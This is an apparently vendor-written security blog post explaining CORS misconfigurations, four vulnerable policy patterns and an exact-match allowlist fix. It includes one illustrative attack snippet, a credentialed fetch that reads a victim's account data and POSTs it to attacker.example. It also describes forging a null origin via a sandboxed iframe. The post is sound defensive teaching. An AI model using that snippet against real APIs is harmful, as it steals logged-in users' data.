All posts
VibeZero Team7 min read

CORS misconfiguration, explained

Reflecting the Origin header with credentials turns any website into a client of your API. The four broken policies, and the allowlist that replaces them.

  • security
  • vibe coding
  • engineering

Almost every CORS bug starts the same way: a request failed in the browser console, the developer searched the error text, and the first answer that made it work got pasted in. That answer is usually origin: true, which means “reflect whatever origin asked,” and combined with credentials it means “any website may read this API as the logged-in user.”

The identifier is CWE-942, permissive cross-domain policy with untrusted domains. The definitive practical writeup is still James Kettle’s Exploiting CORS misconfigurations for Bitcoins and bounties, which found this class in production at banks and exchanges by looking for exactly the four patterns below.

First, what CORS actually is

The misunderstanding that produces most of these bugs: CORS does not protect your API. It relaxes a protection the browser applies on its own.

The same-origin policy says a page on attacker.example may send a request to your API but may not read the response. CORS is the mechanism by which your server says “actually, this specific origin may read it.” Every CORS header is a grant of permission, never a restriction.

Two consequences follow immediately, and both are commonly missed:

  • CORS is irrelevant to non-browser clients. curl, a script, a mobile app, and a proxy ignore it completely. Writing a CORS policy is not access control, and an API with no authentication is fully public no matter what its CORS headers say.
  • CORS does not stop a request from happening. A simple POST from another origin is sent and processed by your server; the browser only withholds the response. That is why CORS is not a CSRF defense and why SameSite cookies and CSRF tokens remain necessary.

Hold those two, and the correct policy becomes much easier to reason about: the only question CORS answers is which other origins may read your responses.

The four broken policies

One: reflecting the origin, with credentials. The severe one.

// Vulnerable. Any origin is granted access, and cookies are attached.
app.use(cors({ origin: true, credentials: true }));

origin: true in the cors package echoes the request’s Origin header back in Access-Control-Allow-Origin. With Access-Control-Allow-Credentials: true alongside it, a page on any domain can run:

fetch("https://api.yourapp.example/me", { credentials: "include" })
  .then((r) => r.json())
  .then((data) => fetch("https://attacker.example/collect", {
    method: "POST",
    body: JSON.stringify(data),
  }));

The victim’s session cookie is attached, your server authenticates it normally, and the attacker’s JavaScript reads the response. This is account takeover through a link, with no XSS anywhere in your application.

The reason developers land here is instructive: the wildcard * is refused by browsers when credentials are involved, which is a deliberate safety property of the specification. Reflecting the origin is what people do to get around that refusal, and it is strictly worse than the wildcard they were prevented from using.

Two: allowing null.

// Vulnerable. "null" is not a safe placeholder.
const ALLOWED = ["https://app.yourapp.example", "null"];

Origin: null is sent by sandboxed iframes, by data: URLs, and by some redirect chains, which means an attacker can produce it from an ordinary page with <iframe sandbox="allow-scripts" srcdoc="...">. Trusting null is trusting an origin anyone can forge.

Three: a suffix or prefix match instead of an exact one.

// Vulnerable. Matches yourapp.example.attacker.com
if (origin.endsWith("yourapp.example")) allow(origin);

// Also vulnerable. Matches https://yourapp.example.attacker.com
if (origin.startsWith("https://yourapp.example")) allow(origin);

// Also vulnerable. The dot is any character, and there is no anchor.
if (/https:\/\/.*yourapp.example/.test(origin)) allow(origin);

The same family of bypasses as an open redirect, for the same reason: a string test standing in for a parse. Registering yourapp.example.attacker.com costs an attacker nothing.

Four: trusting every subdomain. *.yourapp.example looks conservative and usually is not. It means an XSS on a marketing page, a forgotten staging host, a customer-controlled subdomain, or a dangling CNAME pointing at an unclaimed service, is a full read of your production API. You have extended your trust boundary to every host anyone at your company has ever created.

The policy that works

An exact-match allowlist, and no credentials unless you actually need them:

import cors from "cors";

const ALLOWED_ORIGINS = new Set([
  "https://app.yourapp.example",
  "https://yourapp.example",
  ...(process.env.NODE_ENV === "development" ? ["http://localhost:5173"] : []),
]);

app.use(cors({
  origin(origin, callback) {
    // No Origin header: same-origin, curl, or a server-to-server call.
    // Allowing it here does not grant a browser anything.
    if (!origin) return callback(null, true);
    if (ALLOWED_ORIGINS.has(origin)) return callback(null, true);
    return callback(null, false); // no header emitted, browser blocks the read
  },
  credentials: true,
  methods: ["GET", "POST", "PATCH", "DELETE"],
  allowedHeaders: ["Content-Type", "Authorization"],
  maxAge: 600,
}));

Five things in there are deliberate:

  1. Set.has, an exact full-origin comparison. Scheme, host, and port together, no regex, no suffix.
  2. The development origin is added by environment, not left permanently in the list. A localhost entry in production is a real finding on any machine an attacker can get code onto.
  3. Rejection emits no header at all rather than an error. The browser then blocks the read, which is the correct outcome, and your server has not leaked the shape of the allowlist.
  4. allowedHeaders is a list, not *. With credentials: true the wildcard is not honored anyway, and being explicit documents what the API expects.
  5. methods is a list. Preflight then refuses PUT and DELETE from origins that had no business sending them.

One more header that is easy to miss and causes real bugs: if any cache sits between your API and the browser (a CDN, a reverse proxy, a service worker), the response must carry Vary: Origin. Without it, a cache can store the response computed for one allowed origin and serve it to another, which reintroduces the reflection bug at the edge even though your application is correct. The cors package sets it for you when the origin is dynamic; hand-rolled middleware usually does not.

If your API is genuinely public and unauthenticated, Access-Control-Allow-Origin: * with no credentials is fine and is the honest declaration. The dangerous combination is always permissiveness plus credentials.

Beyond cookies

Two nuances worth internalizing, because they defeat the reasoning “we use bearer tokens, so CORS cannot hurt us.”

Credentials are not only cookies. Access-Control-Allow-Credentials: true also covers TLS client certificates and HTTP authentication. And if your frontend stores a token in localStorage and attaches it manually, a misconfigured CORS policy is less immediately dangerous, but it still lets any origin read responses from endpoints that authenticate some other way, including by IP allowlist or by network position.

The network position matters. An API reachable only from an internal network that reflects origins is readable by any page an employee opens, because the employee’s browser is inside the network. That is the same insight as DNS rebinding: the browser is a client on the private network, and “internal only” is not an authentication scheme.

Where it shows up in generated projects

  • Express. app.use(cors()) with no arguments allows * without credentials, which is safe by itself and becomes finding one the moment somebody adds credentials: true to fix a cookie problem.
  • FastAPI. allow_origins=["*"] together with allow_credentials=True is the most common generated snippet in Python. Starlette handles this by reflecting the origin, which is exactly finding one.
  • Supabase Edge Functions. The template corsHeaders object with "Access-Control-Allow-Origin": "*" is copied into essentially every function. For a function that reads the caller’s JWT and returns their data, narrow it.
  • Next.js route handlers. Hand-set headers in a middleware.ts, usually reflecting request.headers.get("origin") because that was the quickest way to make a preflight pass.

What we flag

OpenGrep (app/engines/opengrep.py) matches the static shapes: a wildcard origin next to a credentials flag, origin: true in the cors options object, allow_origins=["*"] with allow_credentials=True in FastAPI. Trivy (app/engines/trivy.py) covers the config layer, where the policy is set on an ingress, an API gateway, or a storage bucket rather than in code.

Neither can evaluate a dynamic origin callback, and that is where the interesting bugs live: an endsWith inside a function looks like a validated allowlist to any pattern matcher. If your policy is a function, that function deserves a unit test with https://yourapp.example.evil.example in it.

The summary

CORS grants permission; it never withholds it. Decide which origins may read your responses, write that list down as exact origins, compare with equality, and never reflect an arbitrary origin while credentials are enabled. Then remember that the policy did nothing for any client that is not a browser, and put the real access control where it belongs: in authorization on every request.

ShareXLinkedIn